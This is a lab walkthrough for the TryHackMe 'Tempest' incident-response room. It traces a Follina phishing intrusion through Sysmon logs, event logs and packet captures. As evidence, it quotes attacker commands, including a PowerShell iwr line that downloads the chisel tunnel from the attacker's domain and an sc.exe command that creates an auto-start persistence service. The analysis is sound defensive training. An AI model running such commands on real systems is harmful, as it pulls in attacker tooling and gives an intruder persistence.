TEMPEST

https://tryhackme.com/room/tempestincident

Walkthrough for "Tempest Incident"

Operating System: Windows

Username: user

Password: Investigatem3!

Log in: winconnect $TARGET user Investigatem3!

Command winconnect is my personal alias for the following:

xfreerdp /u:$2 /p:$3 /v:$1 /dynamic-resolution +clipboard

Tool Overview

Get hashes of artifacts by running PowerShell and executing the following command:

Get-FileHash -Algorithm SHA256 $ARTIFACT

This challenge focuses on analyzing Sysmon Logs, Windows Event Logs, and Packet Captures. The following is a list of different tools for viewing the data:

Endpoint Log Tools

  • EctxEcmd: CLI tool which parses Windows Event Logs into different formats

    • .\EvtxECmd.exe -f $FILE_PATH --csv $D_PATH --csvf $D_FILE

  • Timeline Explorer: GUI tool that functions as a data filtering and navigating application

    • Open csv files produced by "EctxEcmd"

  • SysmonView: Windows GUI to visualize Sysmon Logs

    • Uses xml files produced by "Event Viewer"

  • Event Viewer: Windows GUI to view Windows Event Logs and Sysmon Logs

    • Action > Save All Events As... > XML

Network Logs

  • Wireshark

  • Brim

Tempest Incident - Initial Access

Malicious Document

The following is essential information generated by the CRITICAL alert caused by a malicious document:

  • The malicious document has a .doc extension

  • The user downloaded the malicious document via chrome.exe

  • The malicious document then executed a chain of commands to attain code execution

Using the Timeline Explorer and searching for the string ".doc", 13 events are found relating to the malicious document. One in particular provides a large amount of information:

It's also possible to use SysmonView to interpret the events happening on processes like chrome.exe or WinWord.exe.

A quick search on the capture.pcap in Wireshark also shows that the IP and website name are 167.71.199.191 and hxxp[://]phishteam[.]xyz (defanged form). Searching further, using the PID found (496) to search in Timeline Explorer, some interesting executable information is found:

This payload belongs to an exploit called [Folina](https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day), which leverages remote templates to execute a PowerShell payload using the "ms-msdt" MSProtocol URI scheme. A successful attack results in a remote, unauthenticated attacker taking control of an affected system.

Stage 2 Execution

Decoding the base64 from earlier gives the following:

To get the full path, use the command gci env: to get the environment variables, specifically APPDATA. This is C:\Users\user\AppData\Roaming\, but for user Benimaru, the "user" would be replaced with "Benimaru". Combining the variable with the rest of path simplifies the path to C:\Users\Benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.zip. This can also be found by searching "update.zip" in the Timeline Explorer and looking at Payload Data4.

The file is placed in the "Startup" folder. The Autostart execution reflects explorer.exe as its parent process ID, so child processes of explorer.exe within the event timeframe could be significant. Any process creation (Event ID 1) or File Creation (Event ID 11) succeeding the document execution are worth checking. Searching on Timeline Explorer for events relating to that parent process shows the following executable info:

The file "first.exe" is likely the malicious binary for stage 2 execution. Searching for "first.exe" shows a number of commands run involving the file:

Investigating the payload of C:\Users\Public\Downloads\first.exe shows the hashes provided with the binaries.

Malicious Document Traffic

The C2 server has the following information:

  • IP and Port: 167.71.222.162:80

  • DNS Query: resolvecyber.xyz

This information can help create the following filter to look at all the communication going to the C2, specifically the encoded requests: (ip.dst == 167.71.222.162 and ip.src == 192.168.254.107) and http

Discovery - Internal Reconnaissance

Going back to the C2 communication, I wanted to see what commands and responses were going through. The first step is to get the queries in one file. I used the following filter: (ip.dst == 167.71.222.162 and ip.src == 192.168.254.107) and http.request.uri contains "q". Then I exported packet dissections as plain text with only the packet summary line to quarantine the query line.

Using a simple python script, the decoded base64 strings could be extracted. The following is the script I wrote:

It can also be done easily in bash as well using sed and awk:

cat export.txt | awk '{print $8}' | sed 's/q=/ /g' | awk '{print $2}' | base64 -d

The following text file is the output which features the session the attacker had to create new users and persistence:

After enumerating the listening ports, the attacker establishs a reverse socks proxy to access the internal services. The command they use first is powershell iwr http://phishteam.xyz/02dcf07/ch.exe which downloads a file called ch.exe. Searching this file in Timeline Explorer shows how the attacker used the process.

Doing a search of the hash on VirusTotal gives a return on the binary known as "chisel". Chisel is a fast tunnel transported over HTTP, secured via SSH. It's a single executable that works as both a client and server.

One of the following processes has the execution command: C:\Windows\system32\wsmprovhost.exe -Embedding. This is a process that hosts an active remote session on a target. It is a plugin for the host process WinRM. This was most likely the service used to authenticate to get privilege escalation.

Privilege Escalation

After looking at the privileges of the user, the attacker discovered a plethora of privilege escalation including the following privileges:

  • SeImpersonatePrivilege

  • SeTcbPrivilege

  • SeCreateTokenPrivilege

  • SeDebugPrivilege

  • SeBackupPrivilege / SeRestorePrivilege

  • SeTakeOwnershipPrivilege

All of these can be used to do local privilege escalation, but the logs show the attacker attempting to use "SeImpersonatePrivilege", which is one of the most explored local privilege escalation techniques often associated with "Juicy Potato", "Rogue Potato", and "PrintSpoofer".

Looking through the Sysmon events, there is an execution of spf.exe. This is a common associated executable name for "PrintSpoofer". Looking into the details shows us the following:

The base64 output also shows the use of another tool to establish a c2 connection: sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto

Searching for the sc.exe binary in the Sysmon events shows it was opened on port 8080.

Actions on the Objective

Most of the actions have already been shown by the output from the decoded base64. It shows a number of useful things for this section:

Last updated